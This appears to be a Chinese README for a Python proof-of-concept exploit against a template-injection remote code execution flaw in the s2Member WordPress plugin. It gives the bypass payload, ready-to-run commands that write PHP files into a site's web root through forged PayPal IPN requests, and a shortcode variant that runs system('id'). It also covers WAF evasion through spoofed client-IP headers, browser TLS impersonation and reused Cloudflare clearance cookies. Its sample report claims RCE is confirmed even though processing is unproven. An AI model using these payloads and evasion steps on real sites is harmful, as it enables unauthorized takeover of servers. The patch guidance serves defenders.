针对 s2Member <= 260927 模板注入 RCE 的单文件 Python PoC。
存在漏洞的代码:
$paypal = strip_php_tags_deep($paypal); // removes only literal '<?'
$msg = preg_replace('/%%item_name%%/i', esc_refs($paypal['item_name']), $msg);
...
$msg = trim(preg_replace('/%%(.+?)%%/i', '', $msg));
载荷:
<%%x%%?php echo 'CVE-2026-86596'; ?>
strip_php_tags_deep() 不会处理它,因为其中没有字面量 <?。
%%item_name%% 替换会将其插入;最后的 %%(.+?)%% 清理
会移除 %%x%%,留下一个有效的 <?php 开头。
python3 poc.py https://wordpress.lab
这就是整个流程:
@thiscitze 的 cve_test.php 写入 WordPress 根目录,https://wordpress.lab/cve_test.php 并验证标记。如果受保护的帖子/页面 ID 不是 1:
python3 poc.py https://wordpress.lab --item-number 123
如果 .php 被拦截,请写入一个纯文本标记:
python3 poc.py https://wordpress.lab --filename cve_test.txt
如果站点使用代理验证密钥:
python3 poc.py https://wordpress.lab --proxy-verification "KEY"
简明报告:
CVE-2026-86596 | s2Member template-injection check
target : https://wordpress.lab
item : 123
run id : 1a0d80
time : 2026-11-03 12:34:56 UTC
[1/4] Version ............ VULNERABLE (260927)
[2/4] Injection proof ... OK
[3/4] IPN / write test
1/5 abspath/cve_test.php HTTP 200
[+] test file: https://wordpress.lab/cve_test.php | HTTP 200 | marker '@thiscitze' found
[4/4] Trigger ........... skipped
RESULT
CVE applicable : YES - vulnerable version
Injection : OK
IPN response : HTTP 200 | HTTP 200; processing not proven
Test file : FOUND - https://wordpress.lab/cve_test.php
Marker : not checked
RCE : CONFIRMED - code execution works
Run ID : 1a0d80
Next : test file: https://wordpress.lab/cve_test.php
报告回答了三个独立的问题:
RCE: NOT CONFIRMED 表示脚本未能证明代码执行,即使
HTTP 状态码为 200。
当 stdout 是 TTY 时颜色默认开启;使用 --color always 强制开启,
或使用 --color never 禁用。
如果目标位于 WAF/挑战之后,脚本会在放弃之前自动尝试 请求形态变体:
multipart/form-dataitem_name(良性 + 载荷)item_name 的 multipart/form-dataX-Forwarded-For / X-Real-IP / CF-Connecting-IP 伪造头curl_cffi 浏览器 TLS 模拟(pip install curl_cffi)--http-proxy可选控制项:
python3 poc.py https://wordpress.lab \
--http-proxy http://127.0.0.1:8080 \
--cookie "cf_clearance=..." \
--impersonate chrome
--no-evasion 会禁用自动变体。JS 挑战可能仍然需要真实的浏览器会话或来自 PayPal 源站的 IPN;仅靠请求头技巧并不能保证绕过。
向 WordPress 根目录写入一个测试文件并进行验证:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--test-url https://wordpress.lab/cve_test.php
载荷会写入 cve_test.php,其中包含:
<?php echo "@thiscitze"; ?>
如果 .php 被阻止或不需要,请改为写入纯文本标记:
python3 poc.py --auto https://wordpress.lab \
--item-number 123 \
--write-test \
--filename cve_test.txt \
--marker "@thiscitze" \
--test-url https://wordpress.lab/cve_test.txt
文件被写入 ABSPATH(WordPress 文件系统根目录)。如果
WordPress 安装在子目录中,请相应调整 --test-url。
python3 poc.py --simulate
预期:
[*] after strip_php_tags_deep():
"<%%x%%?php echo 'CVE-2026-86596'; ?>"
[*] after placeholder cleanup:
"Thanks Test!\n\n<?php echo 'CVE-2026-86596'; ?>..."
[+] '<?php' opener reassembled
短代码变体:
python3 poc.py --simulate --shortcode --command "system('id');"
这会生成 [s2If php="system('id');"],如果模板到达 do_shortcode() / [s2If php] 接收点,该代码就会执行。
python3 poc.py --check https://wordpress.lab
它读取 readme.txt 或 s2member.php,并将版本与
260927 / 261001 进行比较。
python3 poc.py --ipn https://wordpress.lab \
--item-number 123 \
--payload "<%%x%%?php echo 'CVE-2026-86596'; ?>"
s2Member 通过 PayPal(POST 回传)或代理验证密钥来验证 IPN。 直接伪造的 POST 通常会被拒绝。在实验环境中:
item_name 即为载荷,或python3 poc.py --ipn https://wordpress.lab --item-number 123 \
--proxy-verification "<value from the site's button code>" \
--command "id"
脚本会打印 HTTP 响应,并在目标拒绝验证时发出警告。
python3 poc.py --trigger "https://wordpress.lab/thank-you/?..."
获取页面并搜索 CVE-2026-86596,payload 会将其回显。
当跟踪代码 / 短代码接收点在 IPN 之后渲染时,这很有用。
custom 必须以站点主机名开头(或必须启用 skip_ipn_domain_validation)。item_number。do_shortcode() / [s2If php=...] 渲染的跟踪代码,或会求值通知模板的自定义集成。默认的纯文本邮件正文本身是通过 wp_mail 发送的,不会被求值。更新到 s2Member 261001 或更高版本(当前:261017)。该修复用 fill_paypal_template_once() 替换了顺序插值,并将跟踪目标清理为 [A-Za-z0-9 @._-]。
PR:N)则称其为未认证。就补丁优先级而言,应将其视为远程 / 未认证,但请在你的环境中验证 IPN / 代理要求。